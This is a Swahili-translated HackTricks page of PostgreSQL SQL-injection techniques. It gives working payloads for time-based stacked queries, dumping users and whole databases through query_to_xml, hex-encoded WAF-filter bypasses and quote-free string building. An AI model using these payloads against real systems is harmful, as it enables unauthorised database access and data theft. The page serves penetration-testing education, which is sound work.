PostgreSQL injection

Support HackTricks

Ikiwa unavutiwa na kazi ya hacking na kuhack kile kisichoweza kuhackwa - tunatafuta wafanyakazi! (kuandika na kuzungumza kwa Kiswahili vizuri kunahitajika).


Ukuran huu unalenga kuelezea mbinu tofauti ambazo zinaweza kukusaidia kutumia SQLinjection iliyopatikana katika hifadhidata ya postgresql na kukamilisha mbinu ambazo unaweza kupata kwenye https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/SQL%20Injection/PostgreSQL%20Injection.md

Network Interaction - Privilege Escalation, Port Scanner, NTLM challenge response disclosure & Exfiltration

Moduli ya PostgreSQL dblink inatoa uwezo wa kuungana na mifano mingine ya PostgreSQL na kutekeleza muunganisho wa TCP. Vipengele hivi, vinapounganishwa na kazi ya COPY FROM, vinawezesha vitendo kama vile kupandisha mamlaka, skanning ya bandari, na kukamata majibu ya changamoto ya NTLM. Kwa mbinu za kina za kutekeleza mashambulizi haya angalia jinsi ya kutekeleza mashambulizi haya.

Unaweza kusoma mfano huu kuona mfano wa CTF wa jinsi ya kupakia data ndani ya vitu vikubwa na kisha kutoa maudhui ya vitu vikubwa ndani ya jina la mtumiaji la kazi dblink_connect.

Mashambulizi ya PostgreSQL: Soma/andika, RCE, privesc

Angalia jinsi ya kuathiri mwenyeji na kupandisha mamlaka kutoka PostgreSQL katika:

WAF bypass

PostgreSQL String functions

Kuhusisha nyuzi kunaweza kukusaidia kuzidi WAFs au vizuizi vingine. Katika ukurasa huu unaweza kupata baadhi ya kazi za nyuzi zinazofaa.

Stacked Queries

Kumbuka kwamba postgresql inasaidia maswali yaliyopangwa, lakini programu kadhaa zitatoa kosa ikiwa majibu 2 yatatolewa wakati yanatarajiwa 1 tu. Lakini, bado unaweza kutumia maswali yaliyopangwa kupitia Time injection:

id=1; select pg_sleep(10);-- -
1; SELECT case when (SELECT current_setting('is_superuser'))='on' then pg_sleep(10) end;-- -

XML tricks

query_to_xml

Hii kazi itarudisha data zote katika muundo wa XML katika faili moja tu. Ni bora ikiwa unataka kutupa data nyingi katika safu 1 tu:

SELECT query_to_xml('select * from pg_user',true,true,'');

database_to_xml

Hii kazi itatoa hifadhidata nzima katika muundo wa XML kwa safu 1 tu (kuwa makini ikiwa hifadhidata ni kubwa sana kwani unaweza kuisababisha DoS au hata mteja wako mwenyewe):

SELECT database_to_xml(true,true,'');

Strings in Hex

Ikiwa unaweza kuendesha queries ukipitia ndani ya string (kwa mfano kutumia kazi ya query_to_xml). Unaweza kutumia convert_from kupitisha string kama hex na kupita filters kwa njia hii:

select encode('select cast(string_agg(table_name, '','') as int) from information_schema.tables', 'hex'), convert_from('\x73656c656374206361737428737472696e675f616767287461626c655f6e616d652c20272c272920617320696e74292066726f6d20696e666f726d6174696f6e5f736368656d612e7461626c6573', 'UTF8');

# Bypass via stacked queries + error based + query_to_xml with hex
;select query_to_xml(convert_from('\x73656c656374206361737428737472696e675f616767287461626c655f6e616d652c20272c272920617320696e74292066726f6d20696e666f726d6174696f6e5f736368656d612e7461626c6573','UTF8'),true,true,'')-- -h

# Bypass via boolean + error based + query_to_xml with hex
1 or '1' = (query_to_xml(convert_from('\x73656c656374206361737428737472696e675f616767287461626c655f6e616d652c20272c272920617320696e74292066726f6d20696e666f726d6174696f6e5f736368656d612e7461626c6573','UTF8'),true,true,''))::text-- -

Nukuu zilizokatazwa

Ikiwa huwezi kutumia nukuu kwa payload yako unaweza kupita hii kwa CHR kwa masharti ya msingi (kuunganisha wahusika kunafanya kazi tu kwa maswali ya msingi kama vile SELECT, INSERT, DELETE, nk. Hakiifanyi kazi kwa taarifa zote za SQL):

SELECT CHR(65) || CHR(87) || CHR(65) || CHR(69);

Au na $. Hizi maswali yanarudisha matokeo sawa:

SELECT 'hacktricks';
SELECT $$hacktricks$$;
SELECT $TAG$hacktricks$TAG$;

Ikiwa unavutiwa na kazi ya udukuzi na kudukuza yasiyoweza kudukuliwa - tunatafuta wafanyakazi! (kuandika na kuzungumza kwa kiswahili vizuri kunahitajika).

Support HackTricks

Last updated